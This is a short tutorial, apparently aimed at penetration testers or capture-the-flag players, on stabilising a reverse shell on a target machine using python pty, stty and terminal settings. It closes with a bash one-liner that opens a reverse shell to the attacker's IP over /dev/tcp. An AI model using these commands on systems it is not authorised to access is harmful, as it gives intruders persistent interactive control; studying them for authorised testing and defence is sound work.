Upgrading your reverse shell

After we have gotten our reverse shell, it will have limitations such as no auto-completions and messy file listings. Here is how we can make our shell better inside our target’s system:

Upgrading and stabilizing your shell enables you to type in your commands better. There are several ways to upgrade your shell once you are in a target machine.

First way

For this method to work, we have to check if our target machine has python2 or python3 installed via:

which python

If no output is returned, repeat the above step for python3.

Assuming you are running bash, in your reverse shell, run the command below for whichever version of python available in the target machine:

python3 -c "import pty; pty.spawn('/bin/bash')"

Press on your keyboard: Ctrl + Z

On your local host:

stty raw -echo; fg

Press on your keyboard: Enter (twice)

If your shell formatting is off, simply enter the command:

reset

Notice that our shell does not cover our entire terminal. To fix this, we shall open another terminal tab and input the following commands:

echo $TERM

Output: xterm-256color

stty size

Output: 70 255

In our reverse shell:

export TERM=xterm-256color
stty rows 70 columns 255

Our reverse shell should now utilize the terminal’s full features!

Second way

Check the version of python the target system is running in using: which python or which python3

Next,

python3 -c 'import pty;pty.spawn("/bin/bash")'  //Upgrade to tty
Ctrl + Z                                        //Background the process
stty raw -echo
fg + Enter

Subsequently, turn your unstable shell into a stable one via:

bash -c "bash -i >& /dev/tcp/{your_IP}/443 0>&1"

Thank you for reading!